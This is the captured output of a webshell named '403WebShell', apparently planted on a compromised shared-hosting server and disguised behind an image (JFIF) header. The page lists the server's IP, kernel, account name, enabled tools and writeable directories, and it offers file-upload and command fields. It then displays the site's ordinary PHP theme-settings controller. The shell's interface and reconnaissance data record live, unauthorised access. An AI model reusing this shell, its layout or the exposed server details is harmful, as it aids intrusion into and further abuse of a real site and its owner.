����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.148.192.125
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./ideyshare.name.ng/themes/evolution/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./ideyshare.name.ng/themes/evolution/controllers/admin/ThemeController.class.php
<?php

namespace Themes\Evolution\Controllers\Admin;

use App\Core\Database;
use App\Models\Theme;
use App\Controllers\Admin\ThemeController AS CoreThemeController;
use App\Helpers\AdminHelper;
use App\Helpers\CoreHelper;
use App\Helpers\ThemeHelper;

class ThemeController extends CoreThemeController
{
    public function themeSettings() {
        // admin restrictions
        $this->restrictAdminAccess();
        
        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();

        // load themes details
        $themeFolder = basename(dirname(dirname(__DIR__)));
        $themes = $db->getRow("SELECT * "
                . "FROM theme "
                . "WHERE folder_name = :folder_name "
                . "LIMIT 1", array(
                    'folder_name' => $themeFolder,
                ));
        if (!$themes) {
            return $this->redirect(ADMIN_WEB_ROOT . '/theme_manage?error=' . urlencode('There was a problem loading the theme details.'));
        }

        // load themes details
        $themeObj = ThemeHelper::getInstance($themes['folder_name']);
        $themeDetails = ThemeHelper::themeSpecificConfiguration($themes['folder_name']);
        $themeConfig = $themeDetails['config'];

        // pre-load all site skins
        $skinsPath = dirname(dirname(__DIR__)).'/assets/styles/skins/';
        $skins = CoreHelper::getDirectoryListing($skinsPath);
        sort($skins);

        // prep into array
        $skinsArr = array();
        foreach($skins AS $option) {
            $skinsArr[] = str_replace($skinsPath, '', $option);
        }

        // load existing settings
        if (strlen($themes['theme_settings'])) {
            $theme_settings = json_decode($themes['theme_settings'], true);
            if ($theme_settings) {
                $site_skin = $theme_settings['site_skin'];
                $css_code = $theme_settings['css_code'];
            }
        }

        // make sure the logo directory path exists
        $logoStorageFolder = CACHE_DIRECTORY_ROOT . '/themes/' . $themeFolder;
        $logoStorageUrl = CACHE_WEB_ROOT . '/themes/' . $themeFolder;
        if (!file_exists($logoStorageFolder)) {
            mkdir($logoStorageFolder, 0777, true);
        }

        // handle page submissions
        if($request->request->has('submitted')) {
            // get variables
            $site_skin = $request->request->get('site_skin');
            $css_code = $request->request->get('css_code');

            // validate submission
            if (CoreHelper::inDemoMode() == true) {
                AdminHelper::setError(AdminHelper::t("no_changes_in_demo_mode"));
            }

            if (AdminHelper::isErrors() == false) {
                if ($request->files->has('site_logo') && strlen($request->files->get('site_logo')['tmp_name'])) {
                    // check it's an image
                    if (exif_imagetype($request->files->get('site_logo')['tmp_name']) != IMAGETYPE_PNG) {
                        AdminHelper::setError('Logo does not appear to be a PNG image. Please check and try again.');
                    }
                    elseif ($request->files->get('site_logo')['size'] > 200000) {
                        AdminHelper::setError('Logo is bigger than 200k in size, please reduce and try again.');
                    }
                }

                if ($request->files->has('site_logo_inverted') && strlen($request->files->get('site_logo_inverted')['tmp_name'])) {
                    // check it's an image
                    if (exif_imagetype($request->files->get('site_logo_inverted')['tmp_name']) != IMAGETYPE_PNG) {
                        AdminHelper::setError('Logo does not appear to be a PNG image. Please check and try again.');
                    }
                    elseif ($request->files->get('site_logo_inverted')['size'] > 200000) {
                        AdminHelper::setError('Logo is bigger than 200k in size, please reduce and try again.');
                    }
                }
            }

            // update the settings
            if (AdminHelper::isErrors() == false) {
                // compile new settings
                $settingsArr = array();
                $settingsArr['thumbnail_type'] = 'square';
                $settingsArr['site_skin'] = $site_skin;
                $settingsArr['css_code'] = $css_code;
                $settings = json_encode($settingsArr);

                // update
                $theme = Theme::loadOneById($themes['id']);
                $theme->theme_settings = $settings;
                $theme->save();

                // move logo into storage
                if ($request->files->has('site_logo') && strlen($request->files->get('site_logo')['tmp_name'])) {
                    $targetFile = $logoStorageFolder . '/logo.png';
                    move_uploaded_file($request->files->get('site_logo')['tmp_name'], $targetFile);
                }

                if ($request->files->has('site_logo_inverted') && strlen($request->files->get('site_logo_inverted')['tmp_name'])) {
                    $targetFile = $logoStorageFolder . '/logo_inverse.png';
                    move_uploaded_file($request->files->get('site_logo_inverted')['tmp_name'], $targetFile);
                }

                // create custom css file
                $cssCodeFile = CACHE_DIRECTORY_ROOT . '/themes/' . $themeFolder . '/custom_css.css';
                if (strlen($settingsArr['css_code'])) {
                    file_put_contents($cssCodeFile, $settingsArr['css_code']);
                }
                else {
                    unlink($cssCodeFile);
                }

                // clear cache
                ThemeHelper::clearCachedThemeSettings();
                AdminHelper::setSuccess('Theme settings updated.');
            }
        }
        
        // load template
        return $this->render('admin/theme_settings.html', array_merge(array(
                    'mainLogoUrl' => $themeObj->getMainLogoUrl(),
                    'inverseLogoUrl' => $themeObj->getInverseLogoUrl(),
                    'skinsArr' => $skinsArr,
                    'css_code' => $css_code,
                    'site_skin' => $site_skin,
                                ), $this->getHeaderParams()));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit